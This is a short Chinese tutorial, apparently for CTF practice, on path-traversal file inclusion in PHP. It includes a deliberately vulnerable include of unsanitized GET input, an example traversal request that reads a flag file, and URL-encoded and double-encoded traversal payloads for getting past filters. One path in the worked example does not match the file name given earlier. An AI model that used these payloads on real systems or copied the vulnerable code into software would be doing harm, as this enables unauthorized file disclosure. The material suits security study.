绕过姿势

发布时间 2023-12-02 10:22:53作者: small黄

一、目录遍历
使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
测试代码如下:

<?php
error_reporting(0);
$file = $_GET["file"];
//前缀
include "/var/www/html/".$file;

highlight_file(__FILE__);
?>

现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

include.php?file=../../log/flag.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。

二、编码绕过
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
1.利用url编码

../

%2e%2e%2f
..%2f
%2e%2e/
..\

%2e%2e%5c
..%5c
%2e%2e\


2.二次编码

../
%252e%252e%252f
..\
%252e%252e%255c